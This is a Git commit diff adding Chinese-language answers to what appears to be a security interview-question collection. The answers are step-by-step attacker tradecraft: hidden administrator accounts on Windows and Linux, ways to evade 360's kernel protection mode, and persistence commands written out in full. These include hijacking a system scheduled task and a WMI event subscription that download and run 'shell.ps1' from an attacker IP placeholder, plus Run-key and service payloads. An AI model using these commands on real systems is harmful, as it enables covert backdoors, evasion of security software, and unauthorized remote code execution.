Add files via upload
This commit is contained in:
@@ -0,0 +1,86 @@
|
|||||||
|
### 怎么建立隐藏用户
|
||||||
|
|
||||||
|
### **1. Windows 系统**
|
||||||
|
|
||||||
|
在 Windows 中,隐藏用户通常有两种实现方式
|
||||||
|
|
||||||
|
**1.1 使用 `$` 符号创建隐藏账户**
|
||||||
|
|
||||||
|
这是最简单也是最常见的方法,主要用于在命令行中隐藏用户
|
||||||
|
|
||||||
|
- **原理**: Windows 系统的设计中,以 `$` 结尾的账户名被视为“计算机账户”,通常用于系统或服务之间通信。这些账户默认在 `net user` 命令的列表中不显示
|
||||||
|
|
||||||
|
- **操作步骤**:
|
||||||
|
|
||||||
|
1. 使用管理员权限打开命令提示符(`cmd`)或 PowerShell
|
||||||
|
|
||||||
|
2. 执行以下命令创建账户:
|
||||||
|
|
||||||
|
```cmd
|
||||||
|
net user username$ password /add
|
||||||
|
```
|
||||||
|
|
||||||
|
3. 将该账户添加到管理员组,赋予其更高权限:
|
||||||
|
|
||||||
|
```cmd
|
||||||
|
net localgroup Administrators username$ /add
|
||||||
|
```
|
||||||
|
|
||||||
|
- **如何查看**: 虽然 `net user` 看不到,但这个账户仍然存在于系统中。你可以通过以下方式查看:
|
||||||
|
|
||||||
|
- `wmic useraccount where "name like '%'" get name,sid`
|
||||||
|
- 通过注册表编辑器查看 `HKEY_LOCAL_MACHINE\SAM\SAM`(需要特殊权限)
|
||||||
|
|
||||||
|
**1.2 通过修改注册表隐藏账户**
|
||||||
|
|
||||||
|
这是一个更高级、更隐蔽的方法,可以让账户不出现在登录界面和常规用户列表中
|
||||||
|
|
||||||
|
- **原理**: Windows 通过注册表的一个特定键值来控制哪些用户账户在登录界面显示。通过修改这个键值,可以隐藏任何账户
|
||||||
|
|
||||||
|
- **操作步骤**:
|
||||||
|
|
||||||
|
1. 首先创建一个普通用户账户并赋予权限:
|
||||||
|
|
||||||
|
```
|
||||||
|
net user testuser password /add
|
||||||
|
net localgroup Administrators testuser /add
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 打开注册表编辑器(`regedit`),定位到以下路径:
|
||||||
|
|
||||||
|
```
|
||||||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
|
||||||
|
```
|
||||||
|
|
||||||
|
3. 在 `UserList` 键下,右键单击并选择**新建 -> DWORD (32位) 值**
|
||||||
|
|
||||||
|
4. 将新建的值命名为你要隐藏的账户名,例如 `testuser`
|
||||||
|
|
||||||
|
5. 默认情况下,这个 DWORD 值为 `0`,这正好可以隐藏该账户
|
||||||
|
|
||||||
|
- **如何查看**: 这个账户在登录界面和常规用户列表中都看不见。只有通过命令行、`wmic` 或直接在注册表中查看才能发现其存在
|
||||||
|
|
||||||
|
**2. Linux 系统**
|
||||||
|
|
||||||
|
在 Linux 中,隐藏用户的方式主要依赖于其账户管理机制
|
||||||
|
|
||||||
|
**2.1 创建一个 UID 小于 1000 的账户**
|
||||||
|
|
||||||
|
- **原理**: 许多 Linux 系统管理工具(如 `useradd` 的默认行为、`passwd` 文件浏览器)都约定俗成地只显示 UID 大于或等于 1000 的账户,将 UID 小于 1000 的账户视为系统服务账户
|
||||||
|
|
||||||
|
- **操作步骤**:
|
||||||
|
|
||||||
|
1. 使用 `useradd` 命令创建账户时,指定一个低于 1000 的 UID:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
useradd -u 999 -s /bin/bash -m testuser
|
||||||
|
passwd testuser
|
||||||
|
```
|
||||||
|
|
||||||
|
2. 赋予其管理员权限:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
usermod -aG sudo testuser
|
||||||
|
```
|
||||||
|
|
||||||
|
- **如何查看**: 这个账户可以通过 `cat /etc/passwd` 看到,但许多工具不会在用户列表中显示它
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
### 360 开启了晶核模式,怎么去尝试权限维持
|
||||||
|
|
||||||
|
**1. 放弃传统方法,转向无文件和内存驻留**
|
||||||
|
|
||||||
|
在晶核模式下,任何涉及到文件落地、注册表写入、服务创建的传统权限维持方法都极有可能被拦截。因此,我们的核心思想是:**不落地、不留痕、内存驻留**
|
||||||
|
|
||||||
|
- **无文件攻击**:避免将任何可执行文件(`.exe`、`.dll`)写入磁盘。所有的恶意代码都应该通过 PowerShell、C# 或其他脚本语言在内存中运行
|
||||||
|
- **内存驻留**:将恶意代码注入到合法的、白名单内的进程中,如 `svchost.exe`、`explorer.exe` 等。这样,恶意代码就可以利用合法进程的信任度来绕过安全软件的监控
|
||||||
|
- **使用 PowerShell 或 C#**:利用 PowerShell 的反射式加载(Reflective Loading)技术,可以直接在内存中执行 .NET 程序集。360 晶核模式对 PowerShell 脚本的监控非常严格,因此需要使用混淆、加密等技术来绕过其行为分析
|
||||||
|
|
||||||
|
**2. 利用系统自带的合法进程和功能**
|
||||||
|
|
||||||
|
晶核模式的核心是识别恶意行为,而不是简单地拦截所有操作。因此,我们可以利用那些系统自带的、360 无法或不敢拦截的合法进程来执行我们的恶意代码
|
||||||
|
|
||||||
|
- **利用 `COM` 或 `WMI`**:Windows Management Instrumentation (WMI) 和 Component Object Model (COM) 是系统核心组件,它们允许本地和远程执行代码。许多安全软件无法直接拦截这些操作,因为这可能会导致系统功能异常
|
||||||
|
- 你可以通过 `WMI` 在目标机器上**远程执行代码**,而无需将可执行文件写入磁盘。这种方法非常隐蔽,因为 `WMI` 流量是合法的
|
||||||
|
- 通过 `COM` 组件,你可以利用那些具有特权的 COM 对象,执行一些平时受限的操作
|
||||||
|
- **利用计划任务(Scheduled Tasks)**:虽然创建新的计划任务可能会被晶核模式拦截,但你可以尝试修改已有的、合法的计划任务
|
||||||
|
- **命令**:`schtasks`
|
||||||
|
- **思路**:找到一个不显眼的、定期执行的系统任务,然后修改它的执行命令,让它执行你的无文件后门例如,你可以让它定时执行一个 PowerShell 脚本,该脚本从网络上下载并执行恶意代码
|
||||||
|
- **利用 `runas` 或其他 Windows API**:如果可以拿到高权限,可以尝试利用 `runas` 或类似的 API 来启动一个拥有更高权限的新进程,然后将恶意代码注入到新进程中
|
||||||
|
|
||||||
|
**3. 持久化技巧**
|
||||||
|
|
||||||
|
在权限维持方面,可以考虑以下几种高级技巧:
|
||||||
|
|
||||||
|
- **DLL 劫持**:找到一个启动时会加载 DLL 的合法程序,并将一个恶意的 DLL 文件放置在它会寻找的路径中。当程序启动时,它会加载你的恶意 DLL,从而执行你的代码
|
||||||
|
- **晶核模式的挑战**:晶核模式通常会阻止未签名的 DLL 加载到敏感进程中,因此你需要找到一个没有签名检查的合法程序,或者你的 DLL 需要经过特殊处理
|
||||||
|
- **COM 劫持**:攻击者可以修改 Windows 注册表中的 COM 组件路径,将合法的 COM 组件替换为恶意的。当应用程序调用这个组件时,就会执行恶意代码
|
||||||
|
- **晶核模式的挑战**:晶核模式会对注册表中的关键键值进行监控,因此这种方法需要非常小心,或者找到一个未被监控的注册表键
|
||||||
|
- **利用驱动程序**:这是最高级的权限维持方法,但难度也最大。你可以尝试加载一个恶意的内核驱动程序。内核驱动拥有最高的权限,可以绕过几乎所有的用户态安全防护
|
||||||
|
- **晶核模式的挑战**:360 晶核模式的核心就是内核级防护,它会严格检查所有加载的驱动程序。如果你没有一个经过微软签名的驱动程序,很难成功
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
### 计划任务被拦截了怎么办
|
||||||
|
|
||||||
|
**1. 放弃创建,寻找修改或利用已有的计划任务**
|
||||||
|
|
||||||
|
安全软件通常只监控**创建新任务**的行为,但可能不会对**修改已有任务**的行为进行强拦截,尤其是那些系统或合法程序创建的计划任务
|
||||||
|
|
||||||
|
- **攻击原理**:找到一个不显眼的、定期执行的、且权限足够高的系统任务,然后修改它的执行命令,让它在执行原有任务的同时,也执行你的恶意代码
|
||||||
|
|
||||||
|
- **操作步骤**:
|
||||||
|
|
||||||
|
1. **信息收集**:首先,使用 `schtasks /query /fo list /v` 命令来列出所有已有的计划任务。你需要关注以下几点:
|
||||||
|
|
||||||
|
- **任务名称**:寻找那些看起来合法、不引人注意的任务,例如与系统更新、日志清理相关的任务
|
||||||
|
- **执行账户**:寻找那些以 `SYSTEM` 或 `Administrator` 权限运行的任务
|
||||||
|
- **触发器**:了解任务的触发频率(例如每天、每周)
|
||||||
|
|
||||||
|
2. **修改任务**:使用 `schtasks /change` 命令来修改任务的执行命令
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# 示例:修改一个名为“Microsoft\Windows\Defrag\ScheduledDefrag”的合法任务
|
||||||
|
schtasks /change /tn "Microsoft\Windows\Defrag\ScheduledDefrag" /tr "powershell.exe -c \"iwr http://<攻击机IP>/shell.ps1 -OutFile C:\temp\shell.ps1; Start-Process C:\temp\shell.ps1\""
|
||||||
|
```
|
||||||
|
|
||||||
|
- **优点**:这种方法利用了合法任务的“信任”,行为更加隐蔽,不容易被安全软件识别为恶意创建行为
|
||||||
|
|
||||||
|
**2. 利用启动项或服务进行权限维持**
|
||||||
|
|
||||||
|
如果计划任务的路走不通,启动项和服务是另一个值得尝试的切入点
|
||||||
|
|
||||||
|
- **利用注册表启动项**:许多应用程序都通过注册表键值来实现开机自启动。安全软件可能会监控这些键值的创建,但你可以尝试修改一些不那么敏感的键值
|
||||||
|
|
||||||
|
- **常见路径**:
|
||||||
|
|
||||||
|
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
|
||||||
|
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`
|
||||||
|
|
||||||
|
- **操作步骤**:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# 在注册表Run键中添加一个启动项
|
||||||
|
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MyUpdater" /t REG_SZ /d "C:\Users\Public\payload.exe" /f
|
||||||
|
```
|
||||||
|
|
||||||
|
- **缺点**:这种方法非常常见,很容易被安全软件拦截。你需要使用更隐蔽的键值或利用无文件方式
|
||||||
|
|
||||||
|
- **利用服务**:Windows 服务可以以高权限运行,并且可以配置为开机自启动
|
||||||
|
|
||||||
|
- **操作步骤**:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# 创建一个新的服务
|
||||||
|
sc create MyService binPath= "C:\Users\Public\payload.exe" start= auto
|
||||||
|
# 启动服务
|
||||||
|
sc start MyService
|
||||||
|
```
|
||||||
|
|
||||||
|
- **缺点**:创建新服务同样是一个非常敏感的操作,几乎所有的安全软件都会进行拦截
|
||||||
|
|
||||||
|
**3. 使用无文件和内存驻留技术**
|
||||||
|
|
||||||
|
这是在高级防护环境下最有效的权限维持方法,因为它完全绕过了文件系统和注册表的监控
|
||||||
|
|
||||||
|
- **DLL 劫持**:找到一个经常被合法程序调用的、但路径可写的 DLL 文件,将你的恶意代码注入到这个 DLL 中
|
||||||
|
|
||||||
|
- **操作步骤**:
|
||||||
|
1. 找到一个合法程序(例如 `c:\Program Files\Google\Chrome\Application\chrome.exe`)启动时会去加载的 DLL
|
||||||
|
2. 将你自己的恶意 DLL 文件命名为相同的名字,并放置在程序会优先寻找的路径中。
|
||||||
|
3. 当用户启动这个程序时,你的恶意 DLL 就会被加载并执行,从而实现权限维持
|
||||||
|
- **优点**:这种方法非常隐蔽,因为执行的是合法程序,绕过了许多行为监控
|
||||||
|
|
||||||
|
- **WMI/COM 持久化**:利用 Windows Management Instrumentation (WMI) 或 Component Object Model (COM) 实现持久化
|
||||||
|
|
||||||
|
- **原理**:你可以创建一个 WMI 事件订阅,当某个特定事件发生时(例如系统启动),自动触发执行你的恶意代码
|
||||||
|
|
||||||
|
- **操作步骤**:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# 创建一个WMI事件过滤器,当系统启动时触发
|
||||||
|
$filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property @{QueryLanguage="WQL"; Query="SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'notepad.exe'"} -ErrorAction Stop
|
||||||
|
# 创建一个WMI事件消费者,执行你的恶意代码
|
||||||
|
$consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property @{Name="myconsumer"; CommandLineTemplate="powershell.exe -c 'iwr http://<攻击机IP>/shell.ps1|iex'"} -ErrorAction Stop
|
||||||
|
# 将过滤器和消费者绑定
|
||||||
|
$binding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{Filter=$filter; Consumer=$consumer} -ErrorAction Stop
|
||||||
|
```
|
||||||
|
|
||||||
|
- **优点**:这是最高级的无文件持久化技术,非常难以被检测
|
||||||
@@ -1 +1,20 @@
|
|||||||
|
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
||||||
|
|
||||||
|
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
||||||
|
|
||||||
|
HR:请问…………
|
||||||
|
|
||||||
|
我:叽里咕噜说啥呢,看看八股文上写了没
|
||||||
|
|
||||||
|
(Summary.md 是目录噢!!)
|
||||||
|
|
||||||
|
**🙏 特别感谢名单**
|
||||||
|
|
||||||
|
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
||||||
|
|
||||||
|
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||||
|
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||||
|
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||||
|
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||||
|
|
||||||
|
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
||||||
|
|||||||
Reference in New Issue
Block a user